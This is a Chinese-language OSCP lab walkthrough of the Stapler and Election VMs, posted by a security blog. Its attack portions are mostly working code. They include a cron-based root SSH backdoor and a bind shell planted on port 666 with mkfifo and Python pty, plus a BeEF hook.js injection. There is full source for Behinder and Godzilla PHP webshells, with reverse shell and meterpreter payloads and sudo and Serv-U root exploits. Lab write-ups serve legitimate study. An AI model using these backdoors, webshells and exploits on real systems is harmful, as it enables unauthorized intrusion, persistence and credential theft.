配置没问题，允许密钥登录\nKali生成密钥对\n1ssh-keygen -t rsa -f rootkey 2cat rootkey.pub 一定别搞错了密钥和公钥，这里要复制的是sha开头的这个靶机写入cron\n1cat \u0026gt; rootkey.pub 2# 复制你的公钥内容，回车后按ctrl D结束保存 3 4cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 5\u0026gt; mkdir -p /root/.ssh 6\u0026gt; cat /home/JKanode/rootkey.pub \u0026gt; /root/.ssh/authorized_keys 7\u0026gt; chmod 700 /root/.ssh 8\u0026gt; chmod 600 /root/.ssh/authorized_keys 9\u0026gt; chown -R root:root /root/.ssh 10\u0026gt; EOF 等5分钟后Kali直接SSH登录root\n1ssh -i rootkey root@172.168.169.130 发现还是要密码，觉得配置可能还是有问题\n1cat /etc/ssh/sshd_config | grep -E \u0026#34;Root|root\u0026#34; 发现root被拒绝登录了，root 被明确拒绝 SSH 登录，公钥再正确也没用，服务器直接拒绝，改他！用 cron 把 root 从 DenyUsers 里删掉：\n1cat \u0026gt; /usr/local/sbin/cron-logrotate.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2sed -i \u0026#39;s/DenyUsers.*/DenyUsers ftp elly/\u0026#39; /etc/ssh/sshd_config 3service ssh restart 4EOF 等5分钟后再连：\n1ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130 方法6最优雅，拿到的是真正的交互式 root SSH 会话，持久化最好。推荐先试 flag，再试 SSH 公钥持久化。\n可以看到root用户还搞了个oh-my-zsh 给终端整的很骚包。\n与之前 CVE-2016-4557 的区别： 上一个是内核漏洞提权，这个是纯粹的配置错误（misconfiguration）提权，更常见也更稳定，是 OSCP 类靶机的经典考点。\nroot 运行的两个神秘脚本 Linpeas发现的两个神秘脚本\n1cat /root/python.sh 2cat /usr/local/src/nc.sh 8888端口内部访问了似乎没用\n666端口兔子洞变真洞 nc.sh — 谜底揭晓\n1while true; do 2 nc -nlvp 666 \u0026lt; /usr/local/src/nc.zip 3done 666 端口一直在循环发送 nc.zip，就是之前那个 message2.jpg 的来源，完全是作者放的彩蛋，确认是兔子洞。不过我们知道有个定时任务可以用\n直接改 nc.sh，让 666 端口连上去就是 root shell：\n1cat \u0026gt; /usr/local/src/nc.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2#!/bin/bash 3while true; do 4 nc -nlvp 666 -e /bin/bash \u0026amp;\u0026gt;/dev/null \u0026amp;\u0026amp; sleep 2s; 5done 6EOF 但这台机器的 nc 是 openbsd 版，没有 -e，用 mkfifo，然后配合定时任务的修改方法：\n1echo \u0026#39;rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2\u0026gt;\u0026amp;1 | nc -nlvp 666 \u0026gt; /tmp/f\u0026#39; \u0026gt; /usr/local/src/nc.sh 然后杀掉旧进程让新脚本生效,重启脚本：\n1pkill -f \u0026#34;nc -nlvp 666\u0026#34; 2pkill -f nc.sh 3bash /usr/local/src/nc.sh \u0026amp; 嵌套包裹\n1echo \u0026#39;echo \u0026#34;rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i \u0026lt; /tmp/f 2\u0026gt;\u0026amp;1 | nc -nlvp 666 \u0026gt; /tmp/f\u0026#34; \u0026gt; /usr/local/src/nc.sh; pkill -f \u0026#34;nc -nlvp 666\u0026#34;; bash /usr/local/src/nc.sh \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh 等 5 分钟后 Kali 连接：\n1rlwrap nc 172.168.169.131 666 2# 直接是 root shell 3id 试了几次不成功，查看靶机上的nc版本\n注意到 -d 参数是 Detach from stdin，可以用这个特性配合 Python\n1fuser -k 666/tcp 2\u0026gt;/dev/null 2 3python -c \u0026#34; 4import socket,os,pty 5s=socket.socket() 6s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 7s.bind((\u0026#39;\u0026#39;,666)) 8s.listen(1) 9conn,addr=s.accept() 10os.dup2(conn.fileno(),0) 11os.dup2(conn.fileno(),1) 12os.dup2(conn.fileno(),2) 13pty.spawn(\u0026#39;/bin/bash\u0026#39;) 14\u0026#34; \u0026lt;/dev/null \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp; 用 pty.spawn 代替 subprocess.call，同时把 stdout/stderr 也重定向到 /dev/null，进程就不会因为 tty 挂起了，嵌套进改定时任务的脚本里面\n1# SHayslett账户的ssh或者网页版本反弹shell 2echo \u0026#39;pkill -f \u0026#34;nc -nlvp 666\u0026#34;; pkill -f \u0026#34;nc.*666\u0026#34;; pkill -f \u0026#34;python.*666\u0026#34;; fuser -k 666/tcp 2\u0026gt;/dev/null; sleep 2; python -c \u0026#34;import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\\\u0026#34;\\\u0026#34;,666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\\\u0026#34;/bin/bash\\\u0026#34;)\u0026#34; \u0026lt;/dev/null \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026#39; \u0026gt; /usr/local/sbin/cron-logrotate.sh 等 5 分钟后：\n1rlwrap nc 172.168.169.131 666 这样 666 端口就变成了一个持久化的 root 后门，把兔子洞变成真的洞。\n做到这里我忍不住问AI\nQuestion 我牛不牛，把666这个洞也利用起来了，夸我\n牛！确实很牛！\n这个 666 端口从最开始只是个发 zip 文件的兔子洞，愣是被你挖出了利用路径：\n发现 666 端口 → 分析 nc.sh 脚本逻辑 → 发现 cron-logrotate.sh 777 权限 → 用低权限用户写入 payload → cron 以 root 身份执行 → 改写 nc.sh → 666 端口变成持久化 root bind shell 整个链条完全是自己想出来的，不是照着 WP 走的，这才是真正的渗透思维。\n而且这条路比反弹 shell 更优雅，因为：\n不依赖靶机能否出网 随时可以重新连接 靶机重启后 root 自动拉起监听 OSCP 考试里这种思路就是高分的关键，遇到一个看似没用的服务，多想一步能不能变成攻击入口。\n钻了没用的兔子洞 announcements的文件泄露 这个目录一般扫描发现不了，是进了SSH之后发现的。\n目前暂时没什么用。\nadmin112233-XSS https://192.168.201.148:12380/robots.txt 可以看到如下两个网页目录\n一打开火绒就报警，吓我一跳\n这是靶机 12380 端口的 /admin112233/ 页面里预置了一个存储型 XSS payload，靶机作者故意放的彩蛋。\n发生了什么：\n页面里有 JS 代码重定向到 http://www.xss-payloads.com/，触发了杀软的 Trojan/HTML.Redirector.bz 报警 弹窗 This could of been a BeEF-XSS hook ;) 是作者留的提示，意思是\u0026quot;这里本可以挂一个 BeEF-XSS 钩子\u0026quot; 作者的意图 — BeEF 攻击路径：\n如果这是真实场景，攻击者可以：\n1. 在此页面注入 BeEF hook.js 2. 管理员访问该页面时浏览器被 hook 3. 通过 BeEF 控制管理员浏览器 4. 进行键盘记录、截图、内网探测等攻击 场景假设： 你只知道 https://192.168.201.148:12380，刚发现这个页面有 XSS。\n第一步：信息收集，确认 XSS 存在\n访问 https://192.168.201.148:12380/admin112233/ 已经弹窗，说明是存储型 XSS，payload 已经在页面里了。\n第二步：启动 BeEF\n1# Kali 启动 BeEF 2cd /usr/share/beef-xss 3./beef 4 5# 或者 6beef-xss 启动后访问 BeEF 控制台：\nhttp://127.0.0.1:3000/ui/panel # 默认账密 beef:beef 先访问本地测试 http://127.0.0.1:3000/demos/basic.html 看有没有上线\n第三步：构造 hook URL\nBeEF 的 hook 脚本地址：\nhttp://172.168.169.128:3000/hook.js 第四步：想办法把 hook 注入到靶机页面\n这里是关键，有几种方式：\n方式一 — 如果页面本身有输入框，直接注入：\n1\u0026lt;script src=\u0026#34;http://192.168.45.187:3000/hook.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 这里开个上帝视角用SHayslett账户查看这个admin112233的主页写的是什么，发现是root的不能改，作罢。\n方式二 — 利用 WordPress（12380 上有博客）：\n1. 用已破解的 WordPress 账号登录后台 2. 在文章/评论/小工具里注入 hook.js 3. 等管理员访问 提示评论等待管理员审核。\n方式三 — 这个 /admin112233/ 页面本身已经有 XSS，说明可能有输入点，扫一下：\n1# 用 nikto 扫 12380 2nikto -h https://192.168.201.148:12380 -ssl 3 4# 或者 gobuster 跑目录 5gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k 第五步：受害者触发后 BeEF 控制\n这里我假装John（密码是从[[#获得blog博客系统的用户密码]] 爆破的），因为在名单的第一个，目测是管理员来模拟受害者点击xss的效果\n不过似乎没用。所以我直接修改admin112233的index.html 来验证。\n修改 index.html 注入 BeEF hook\n1# 这里用的root账户，只是为了验证和模拟，实战的时候要看有没有权限修改 2cat \u0026gt; /var/www/https/admin112233/index.html \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 3\u0026lt;html\u0026gt; 4\u0026lt;head\u0026gt; 5\u0026lt;title\u0026gt;mwwhahahah\u0026lt;/title\u0026gt; 6\u0026lt;body\u0026gt; 7\u0026lt;noscript\u0026gt;Give yourself a cookie! Javascript didn\u0026#39;t run =)\u0026lt;/noscript\u0026gt; 8\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; 9window.alert(\u0026#34;This could of been a BeEF-XSS hook ;)\u0026#34;); 10\u0026lt;/script\u0026gt; 11\u0026lt;script src=\u0026#34;http://192.168.45.187:3000/hook.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 12\u0026lt;/body\u0026gt; 13\u0026lt;/html\u0026gt; 14EOF 模拟受害者访问（在 Kali 浏览器里访问）https://192.168.201.148:12380/admin112233/ 忽略证书警告继续访问，BeEF 控制台就会出现一个上线的 zombie。注意页面是 https 但 hook.js 是 http，浏览器可能会因为混合内容拦截，需要在浏览器地址栏点击允许加载不安全内容，或者把 hook 也改成 https。\n如果还是不行就修改浏览器配置，这一步还是模拟受害者浏览器设置的不安全\n# Firefox 地址栏输入 about:config # 搜索 security.mixed_content.block_active_content # 改为 false 一旦有浏览器访问了含 hook.js 的页面，BeEF 控制台会显示上线的 zombie，然后可以：\nCommands 面板可执行： ├── 获取 Cookie（结合 HttpOnly 判断是否可窃取） ├── 键盘记录 ├── 截图 ├── 探测内网（扫描内网其他主机） ├── 获取浏览器信息、已保存密码 ├── 社工弹窗（伪造登录框骗取凭据） └── 重定向到钓鱼页面 在这个靶机的实际价值：\nXSS → 窃取管理员 Cookie → 用 Cookie 伪造管理员登录 WordPress 后台 → 后台上传恶意插件/主题 → webshell → 从 www-data 开始提权 这是一条完整的 XSS → RCE 链，不需要任何初始凭据。\n不过目前因为是靶机，所以就是自娱自乐，攻击者和受害者都是我自己扮演的。\n看看是哪个大冤种明文登录ssh 1grep -r \u0026#34;sshpass\u0026#34; /home/*/.bash_history 2\u0026gt;/dev/null 输出会直接显示文件路径，例如 /home/someuser/.bash_history:sshpass -p ...，路径里的用户名就是泄露者。\n也可以更全面地搜：\n1grep -r \u0026#34;sshpass\\|password\\|passwd\u0026#34; /home/*/.bash_history 2\u0026gt;/dev/null 就是你 JKanode 啊，哈哈哈哈！.bash_history 已经看完了，还可以翻这些：\n1# 最近登录记录 2last JKanode 3 4# 登录失败记录 5lastb JKanode 2\u0026gt;/dev/null 6 7# 最后一次登录时间 8lastlog | grep JKanode 9 10# 当前/最近的终端活动 11who 12w 13 14# 进程历史（如果有审计） 15cat /var/log/auth.log | grep JKanode 不过从 .bash_history 已经能看出这个用户的问题了 — 把密码直接明文写在命令行里（sshpass -p），这在真实环境里是严重的操作安全失误，密码会永久保存在 history 文件里，并且 ps aux 执行期间其他用户也能看到进程参数里的明文密码。\n后面[[#提权root的方法]] 提权后看到的 从 ps aux 里有几个很有意思的发现：\n1. root 在跑 nc 监听 666 端口\nroot 1515 nc -nlvp 666 直接连过去可能就是 root shell：\n1nc 127.0.0.1 666 2. root 在跑两个可疑脚本\nroot 1501 /bin/bash /root/python.sh root 1503 /bin/bash /usr/local/src/nc.sh 如果能读/写这两个脚本就可以提权，看看权限：\n1ls -al /usr/local/src/nc.sh 2cat /usr/local/src/nc.sh 后面[[#666端口发现]]也看了就一个没用的图片\n3. JKanode 从没登录过（Never logged in）\n但他的家目录在跑 SimpleHTTPServer 8888，说明是 root 以他的身份启动的，这个账户是个\u0026quot;服务账户\u0026quot;，history 里的密码是别人操作留下的。\n4. 开放的服务一览\n:80 — php -S (www用户) :8888 — python SimpleHTTPServer (JKanode) :666 — nc root监听 ← 最可疑 sshd/vsftpd/smbd/mysql — 常规服务 优先试 666 端口。\n666端口发现 针对未知服务的端口，可使用 nc 工具进行探测\n1nc 172.168.169.129 666 输出乱码，但是可以发现message2.jpg清晰字样\nnc 192.168.179.149 666 \u0026gt; message_666 file message_666 //发现是一个zip压缩包 unzip message_666 查看message2.jpg 没什么用，就是出现一个新用户而已。但是后来linpeas审计之后发现配合定时任务是可用的。[[#666端口兔子洞变真洞]]\nsmb开放的文件夹 smbclient -N //172.168.169.129/tmp smbclient -N //172.168.169.129/tmp 彩蛋一样的新用户 发现新用户 Barry\n又发现一个新的人Abby，这个人没有出现在之前的ssh和ftp用户名之中。\n同样新出现的人，还有标题里面的这个 Tim\n不小心吃了一嘴狗粮，草\nHello Dolly 是 WordPress 默认自带的彩蛋插件，Matt Mullenweg（WordPress 创始人）亲自写的，每次进后台都会在右上角随机显示一句歌词。\n还tm真有\nAkismet 插件XSS漏洞 这两个洞都是存储型 XSS，但实际价值有限，分析一下：\n37902.php — legacy.php XSS\n1# 直接运行，目标是 WordPress 评论区注入 2php 37902.php 172.168.169.131:12380/blogblog 原理是向 /wp-content/plugins/akismet/legacy.php POST 一个含 XSS payload 的请求，payload 会存储在评论里，管理员审核评论时触发。\n30036.html — 后台配置页 XSS\n这个需要管理员权限才能访问 /wp-admin/plugins.php，直接在浏览器打开这个 html 文件然后提交表单，触发后台 XSS。\n实际情况：\n1# 先确认 legacy.php 是否存在 2curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php 插件目录返回 403，legacy.php 可能不存在（新版本已移除），这个洞基本没法利用。\n对这个靶机意义不大的原因：\n你已经有 root，这两个 XSS 的最终目标也不过是窃取管理员 Cookie 然后登录后台，远不如直接用之前的 advanced-video-embed 插件洞（任意文件读取）来得直接，那个洞可以直接读 wp-config.php 拿数据库密码。\n继续跑 39646.py 那条路更有价值。\nshortcode-ui 和 two-factor 插件没有符合的洞 没有符合的洞可用\n搜索框sql注入失败 提权CVE-2021-3156漏洞失败 从linpeas 跑出来的结果中丢AI审计的，malloc(): memory corruption + core dump = 漏洞存在，可以利用：\n1# 下载 PoC 2wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip 3unzip baron.zip 4cd CVE-2021-3156-main 5# 这个靶机是 i386 架构，选对应版本 6python3 exploit_nss.py glibc 版本太低（Ubuntu 16.04 用的是 2.23），这个 PoC 不适用，换一个不依赖 tcache 的版本：\nbash\n1# 换 blasty 的版本 2wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip 3unzip blasty.zip 4cd CVE-2021-3156-main 5make 运行时需要指定目标系统：\nbash\n1./sudo-hax-me-a-sandwich 2# 会列出支持的目标列表，找 Ubuntu 16.04 对应的编号 3./sudo-hax-me-a-sandwich 0 # 0换成对应编号 没有对应的预设目标，Ubuntu 16.04 + sudo 1.8.16 不在列表里，手动模式需要精确计算偏移量，比较麻烦。\n直接放弃这条路，这台靶机 CVE-2021-3156 实际上打不通，原因：\nglibc 2.23 太旧，tcache 版不行 blasty 版没有 Ubuntu 16.04 的预设偏移 手动计算偏移需要本地调试环境 WebShell 的常用姿势 1. 反弹 Shell（已用过）\n1cp /usr/share/webshells/php/php-reverse-shell.php . 2sed -i -E \u0026#34;s/ip\\s*=\\s*\u0026#39;127\\.0\\.0\\.1\u0026#39;\\s*;/ip = \u0026#39;172.168.169.128\u0026#39;;/g; s/port\\s*=\\s*1234\\s*;/port = 4777;/g\u0026#34; php-reverse-shell.php 2. Webacoo\n1# 安装 2apt install webacoo -y 3 4# 生成加密 webshell 5webacoo -g -o shell.php 6 7# 连接 8webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php 特点：流量经过 base64 编码，绕过简单 WAF。\n3. Weevely\n1# 生成 2weevely generate hacker123 shell.php 3 4# 连接 5weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123 特点：流量混淆，功能强大，自带文件管理/端口扫描/提权建议等模块。\n4. MSF 生成\n1# 生成 meterpreter 反弹 shell 2msfvenom -p php/meterpreter/reverse_tcp \\ 3 LHOST=172.168.169.128 LPORT=4444 \\ 4 -f raw \u0026gt; shell.php 5 6# MSF 开监听 7msfconsole -q -x \u0026#34;use multi/handler; \\ 8 set payload php/meterpreter/reverse_tcp; \\ 9 set LHOST 172.168.169.128; \\ 10 set LPORT 4444; run\u0026#34; 特点：拿到 meterpreter session，功能最强，可直接联动后续提权模块。\n5. 冰蝎（Behinder）\n1# 冰蝎生成的 PHP shell 固定模板 2cat \u0026gt; shell.php \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 3\u0026lt;?php 4@error_reporting(0); 5session_start(); 6$key=\u0026#34;e45e329feb5d925b\u0026#34;; 7$_SESSION[\u0026#39;k\u0026#39;]=$key; 8session_write_close(); 9$post=file_get_contents(\u0026#34;php://input\u0026#34;); 10if(!extension_loaded(\u0026#39;openssl\u0026#39;)){ 11 $t=\u0026#34;base64_decode\u0026#34;; 12 $post=$t($post.\u0026#34;\u0026#34;); 13 for($i=0;$i\u0026lt;strlen($post);$i++){ 14 $post[$i]=$post[$i]^$key[$i+1\u0026amp;15]; 15 } 16}else{ 17 $post=openssl_decrypt($post,\u0026#34;AES128\u0026#34;,$key); 18} 19$arr=explode(\u0026#39;|\u0026#39;,$post); 20$func=$arr[0]; 21$params=$arr[1]; 22class C{public function __construct($p){eval($p);}} 23@new C($params); 24?\u0026gt; 25EOF 连接时用冰蝎客户端，密钥默认 e45e329feb5d925b，流量 AES 加密，绕过 WAF 能力最强。\n6. 哥斯拉（Godzilla）\n1cat \u0026gt; shell.php \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; 2\u0026lt;?php 3@session_start(); 4@set_time_limit(0); 5@error_reporting(0); 6function encode($D,$K){ 7 for($i=0;$i\u0026lt;strlen($D);$i++){ 8 $c=$K[$i+1\u0026amp;15]; 9 $D[$i]=$D[$i]^$c; 10 } 11 return $D; 12} 13$pass=\u0026#39;pass\u0026#39;; 14$payloadName=\u0026#39;payload\u0026#39;; 15$key=\u0026#39;3c6e0b8a9c15224a\u0026#39;; 16if(isset($_POST[$pass])){ 17 $data=encode(base64_decode($_POST[$pass]),$key); 18 if(isset($_SESSION[$payloadName])){ 19 $payload=encode($_SESSION[$payloadName],$key); 20 eval($payload); 21 echo substr(md5($pass.$key),0,16); 22 echo base64_encode(encode(@run($data),$key)); 23 echo substr(md5($pass.$key),16); 24 }else{ 25 if(stripos($data,\u0026#34;getBasicsInfo\u0026#34;)!==false){ 26 $_SESSION[$payloadName]=encode($data,$key); 27 } 28 } 29} 30EOF 各工具对比：\n工具 流量特征 功能 适用场景 反弹Shell 明文 基础 快速拿shell Weevely 混淆 中等 有WAF环境 Webacoo base64 中等 简单绕过 MSF 可加密 最强 需要后续提权 冰蝎 AES加密 强 企业WAF环境 哥斯拉 XOR加密 强 国内靶场常用 踩坑 Nmap网络波动问题漏扫 /var/www/http 网站文件夹下明明有网页的文件\n但是网站无论怎么刷新就是没有，拼接了目录也不行，所以我怀疑是nmap扫漏了端口。\n重新扫一下就发现了新端口，其中12380就是网页\n点开看网页的源代码，对比就是一个，确定12380端口就是/var/www/http 网站文件夹下的网站\n总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机] B[靶机] C[21端口：FTP泄露用户名] D[elly的FTP账户] E[22端口：SHayslettssh账户] F[peter的高权限账户] G[root] H[139端口：smb服务] I[3306端口：mysql服务/12380端口：phpmyadmin服务] K[12380端口：Blog博客系统] L[定时任务] M[666端口:nc服务] %% 路径关系 A--\u003e|扫描|B B--\u003e|FTP匿名用户登录|C C--\u003e|hydra爆破|D D--\u003e|ftp下passwd文件泄露用户名hydra爆破|E E--\u003e|历史命令泄露密码|F F--\u003e|sudo -s直接提权|G B--\u003eH--\u003e|smb枚举泄露账户名hydra爆破|E E--\u003e|浏览www配置文件发现数据库密码|I I--\u003e|数据库密码john爆破|K E--\u003e|CVE-2016-4557内核漏洞提权|G E--\u003e|CVE-2021-4034内核漏洞提权|G E--\u003eL--\u003e|logrotate写入权限|G B--\u003eI B--\u003eK K --\u003e|advanced-video插件漏洞LFI获取wpconfig\n无需登录|I K --\u003e|advanced-video插件漏洞LFI获取passwd\n无需登录| E K --\u003e|WP后台上传反弹shell|F I--\u003e|mysql写入一句话木马|E E--\u003e|linpeas审计代码发现nc服务的运行逻辑|M L--\u003e|logrotate修改nc服务逻辑|M--\u003eG %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 A attack B public C public K public H public D public E internal F internal G internal I public L internal M public\n入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %m/%d %H:%M section 侦察阶段 目标扫描 :a1, 2026-03-14 11:11, 2026-03-14 11:30 漏洞识别 :a2, after a1, 2026-03-14 14:37 section 攻击阶段 初始访问 :crit, b1, after a2, 2026-03-14 15:09 权限提升 :milestone, b2, after b1, 2026-03-14 15:1314号速通靶机后一直在复盘，这个靶机真的是越摸越有，一直盘到16号13点47分\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n推荐阅读\nDay1 什么是OSCP，怎么报名和如何准备 OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家 CyberSec：适用于黑阔糕手的Obsidian知识库 ","date":"2026-03-14T11:11:29+08:00","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-stapler-wp/","title":"OSCP官方靶场-Stapler-WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n代理链接VPN\n1proxychains sudo openvpn universal.ovpn 官网打开靶场或链接地址下载虚拟镜像：\nhttps://www.vulnhub.com/entry/election-1,503/\n信息收集 1# Kali攻击机地址 2192.168.45.168 3# 靶机地址 4192.168.195.211 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.195.211 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.195.211 9sudo nmap --script=vuln -p$ports -Pn 192.168.195.211 10# 扫描目录 11gobuster dir -e -u http://192.168.195.211 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z 12whatweb http://192.168.195.211/ 扫描结果如下：\n1┌──(kali㉿kali)-[~] 2└─$ ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.195.211 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 3 4┌──(kali㉿kali)-[~] 5└─$ echo $ports 622,80,15552,17682,34185,35675 7 8┌──(kali㉿kali)-[~] 9└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.195.211 10Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 01:55 -0400 11Nmap scan report for 192.168.195.211 12Host is up (0.22s latency). 13 14PORT STATE SERVICE VERSION 1522/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 16| ssh-hostkey: 17| 2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA) 18| 256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA) 19|_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519) 2080/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 21|_http-title: Apache2 Ubuntu Default Page: It works 22|_http-server-header: Apache/2.4.29 (Ubuntu) 2315552/tcp closed unknown 2417682/tcp closed unknown 2534185/tcp closed unknown 2635675/tcp closed unknown 27Device type: general purpose 28Running: Linux 5.X 29OS CPE: cpe:/o:linux:linux_kernel:5 30OS details: Linux 5.0 - 5.14 31Network Distance: 4 hops 32Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 33 34OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 35Nmap done: 1 IP address (1 host up) scanned in 53.84 seconds 36 37┌──(kali㉿kali)-[~] 38└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.195.211 39Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 01:56 -0400 40Nmap scan report for 192.168.195.211 41Host is up (0.23s latency). 42 43PORT STATE SERVICE 4422/tcp open ssh 4580/tcp open http 46|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) 47|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities.\u0026#39; 48|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 49|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 50| http-enum: 51| /robots.txt: Robots file 52| /phpinfo.php: Possible information file 53|_ /phpmyadmin/: phpMyAdmin 5415552/tcp closed unknown 5517682/tcp closed unknown 5634185/tcp closed unknown 5735675/tcp closed unknown 58 59Nmap done: 1 IP address (1 host up) scanned in 265.92 seconds 主页是个配置页面没什么 查看robots.txt 发现隐藏目录 admin wordpress user election 打开目录是一个投票页面 提示登录admin后给候选人投票\n根据Nmap扫描结果发现有php页面，看到还开放了文件包含 Nmap扫描发现phpmyadmin后台管理页面\nphpMyAdmin 弱密码登录 爆破弱密码使用\nhttps://github.com/bmth666/phpMyAdminCrack.git\n复制一个字典过来\ncp /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ./wordlists/password.txt 弱密码登录即可\nroot toor 发现存在疑似用户id和密码的表 解码这个md5得到一个密码\nbb113886b0513a9d882e3caa5cd73314 此时我们得到的信息是\nid no_induk nama level password 1 1234 Love 1 bb113886b0513a9d882e3caa5cd73314 1234 Love Zxc123!@# 投票系统log泄露密码 把投票页面补全admin，http://192.168.195.211/election/admin 尝试登陆到后台发现要输入ID，就输入1234\n在输入密码 Zxc123!@# 系统设置里面有个查看log的选项，点开查看发现泄露的密码。 结合之前的Nmap扫描结果，怀疑这个密码是ssh登录的密码\nAssigned Password for the user love: P@$$w0rd@123 SSH登录 获得local.txt的flag ssh love@192.168.195.211 提权root 查找提权点\nfind / -type f -perm -u=s 2\u0026gt;/dev/null 发现异常文件\n/usr/local/Serv-U/Serv-U 尝试运行 查看所在目录，发现版本信息文件 提示了软件版本号 Serv-U File Server (64-bit) - Version 15.1 (15.1.6.25)，搜索相关漏洞\n发现两个Poc均指向漏洞编号 CVE-2019-12181\nhttps://github.com/trickest/cve/blob/main/2019/CVE-2019-12181.md\nc脚本还需要编译，所以先使用sh脚本的版本，尝试开启http传输发现网络波动太大，传输有问题，所以直接复制sh文件内容，使用cat \u0026gt; exp.sh 的方法写入，按ctrl D结束，然后添加执行权限。\n1#!/bin/bash 2# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181) 3# Bash variant of Guy Levin\u0026#39;s Serv-U FTP Server exploit: 4# - https://github.com/guywhataguy/CVE-2019-12181 5# --- 6# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot 7# [*] Launching Serv-U ... 8# sh: 1: : Permission denied 9# [+] Success: 10# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh 11# [*] Launching root shell: /tmp/sh 12# sh-4.4# id 13# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner) 14# --- 15# \u0026lt;bcoles@gmail.com\u0026gt; 16# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181 17 18if ! test -u \u0026#34;/usr/local/Serv-U/Serv-U\u0026#34;; then 19 echo \u0026#39;[-] /usr/local/Serv-U/Serv-U is not setuid root\u0026#39; 20 exit 1 21fi 22 23echo \u0026#34;[*] Launching Serv-U ...\u0026#34; 24 25/bin/bash -c \u0026#39;exec -a \u0026#34;\\\u0026#34;;cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx 